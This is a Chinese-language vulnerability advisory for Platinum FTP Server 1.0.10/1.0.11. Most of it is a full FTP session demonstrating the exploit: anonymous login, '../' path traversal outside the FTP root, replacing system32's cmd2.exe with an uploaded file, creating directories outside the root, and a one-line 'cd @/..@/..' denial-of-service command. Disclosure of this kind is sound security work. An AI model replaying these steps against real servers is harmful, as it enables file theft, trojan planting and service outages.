涉及程序： Platinum FTP 1.0.10/1.0.11版 描述： Platinum FTP 存在多个缺陷 详细： Platinum FTP Server是一款方便、容易管理的FTP服务器，可使用在各种Windows系统上。Platinum FTP服务器中存在一个缺陷，允许攻击者从FTP root \"/\"目录中跨越文件系统，因此，某个匿名用户能在FTP服务器中查找或替换任何文件，并在目标机器上随意安装Trojan木马程序。 Platinum FTP 1.0.11版还存在DoS缺陷。 攻击方法： 示例代码： C:\\testing>ftp localhost Connected to ibm-kin. 220-PlatinumFTPserver V1.0.11 220-PlatinumFTPserver (C)2002 BYTE/400 LTD 220- 220 Enter login details User (ibm-kin:(none)): anonymous 331 Password required for anonymous. Password: 230-Send comments to support@PlatinumFTP.com 230-Date 2/24/2003, Time 9:56:07 AM. 230 Storage available 8,671,645,696 Bytes. ftp> dir 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe 226 Listing complete. ftp: 67 bytes received in 0.00Seconds 67000.00Kbytes/sec. ftp> pwd 257 \"/\" is current directory. ftp> dir \\.. 200 PORT command successful 500 /. or \\. reference not allowed for security reasons. 在FTP root目录外查找文件目录信息： ftp> dir .. 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 1406 Oct 10 23:38 3.ico drwxr-xr-x 1 User Group 0 Feb 24 09:54 Backup -rwxr-xr-x 1 User Group 90112 Aug 26 22:15 Clean.exe -rwxr-xr-x 1 User Group 418816 Feb 22 06:19 Console.exe -rwxr-xr-x 1 User Group 198315 Sep 3 03:47 FtpObjectHelp.chm -rwxr-xr-x 1 User Group 46592 Dec 12 06:58 InstallService.exe -rwxr-xr-x 1 User Group 15431 Jul 8 17:52 License.rtf drwxr-xr-x 1 User Group 0 Feb 24 09:56 logs -rwxr-xr-x 1 User Group 3224767 Jan 4 23:03 PlatinumFTPserver.chm -rwxr-xr-x 1 User Group 141312 Feb 22 06:22 PlatinumFTPserverEngine.exe -rwxr-xr-x 1 User Group 7406 Jul 19 23:51 Readme.ico -rwxr-xr-x 1 User Group 27109 Feb 22 20:12 Readme.rtf -rwxr-xr-x 1 User Group 69 Feb 22 11:54 reg.bat -rwxr-xr-x 1 User Group 69904 Jun 24 18:02 RegPatch.exe -rwxr-xr-x 1 User Group 43581 Feb 22 07:37 Releasenotes.rtf drwxr-xr-x 1 User Group 0 Feb 24 10:04 root -rwxr-xr-x 1 User Group 201728 Dec 11 07:09 ScriptEditor.exe drwxr-xr-x 1 User Group 0 Feb 24 09:54 Scripts -rwxr-xr-x 1 User Group 3036 Sep 1 15:37 TIPOFDAY.TXT -rwxr-xr-x 1 User Group 468490 Jul 8 17:53 vbscript.chm -rwxr-xr-x 1 User Group 61952 Aug 29 13:16 ViewLog.exe -rwxr-xr-x 1 User Group 89600 Nov 23 04:00 ZipManager.exe -rwxr-xr-x 1 User Group 92595 Sep 3 03:02 ZipObjectHelp.chm 226 Listing complete. ftp: 1634 bytes received in 0.00Seconds 1634000.00Kbytes/sec. ftp> dir ../../../../windows/system32/cmd* 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd.exe -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd2.exe -rwxr-xr-x 1 User Group 324608 Aug 29 18:40 cmdial32.dll -rwxr-xr-x 1 User Group 41472 Aug 29 18:41 cmdl32.exe -rwxr-xr-x 1 User Group 40505 Aug 18 20:00 cmdlib.wsc 226 Listing complete. ftp: 342 bytes received in 0.00Seconds 342000.00Kbytes/sec. 在FTP root目录外获得文件cmd2.exe ： ftp> get ../../../../windows/system32/cmd2.exe 200 PORT command successful 550 ../../../../windows/system32/cmd2.exe: No such file or directory. ftp> dir 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe 226 Listing complete. ftp: 67 bytes received in 0.00Seconds 67000.00Kbytes/sec. ftp> rename ../../../../windows/system32/cmd2.exe To name cmd2.exe 350 Command OK - waiting for name 250 File/dir renamed to \\cmd2.exe ftp> dir 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd2.exe -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe 226 Listing complete. ftp: 134 bytes received in 0.00Seconds 134000.00Kbytes/sec. 用匿名程序cmd3.exe替换cmd2.exe： ftp> rename cmd3.exe To name ../../../../windows/system32/cmd2.exe 350 Command OK - waiting for name 250 File/dir renamed to \\..\\..\\..\\..\\windows\\system32\\cmd2.exe ftp> dir ../../../../windows/system32/cmd* 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd.exe -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd2.exe -rwxr-xr-x 1 User Group 324608 Aug 29 18:40 cmdial32.dll -rwxr-xr-x 1 User Group 41472 Aug 29 18:41 cmdl32.exe -rwxr-xr-x 1 User Group 40505 Aug 18 20:00 cmdlib.wsc 226 Listing complete. ftp: 342 bytes received in 0.00Seconds 342000.00Kbytes/sec. ftp> 在FTP root外创建目录： ftp> pwd 257 \"/\" is current directory. ftp> mkdir ../testing1 257 ../testing1 directory created 对FTP服务器产生DoS攻击，CPU使用率为100%： ftp> cd @/..@/.. 解决方案： 目前厂商还没有提供补丁或者升级程序，建议用户随时关注厂商的站点： http://www.platinumftp.com/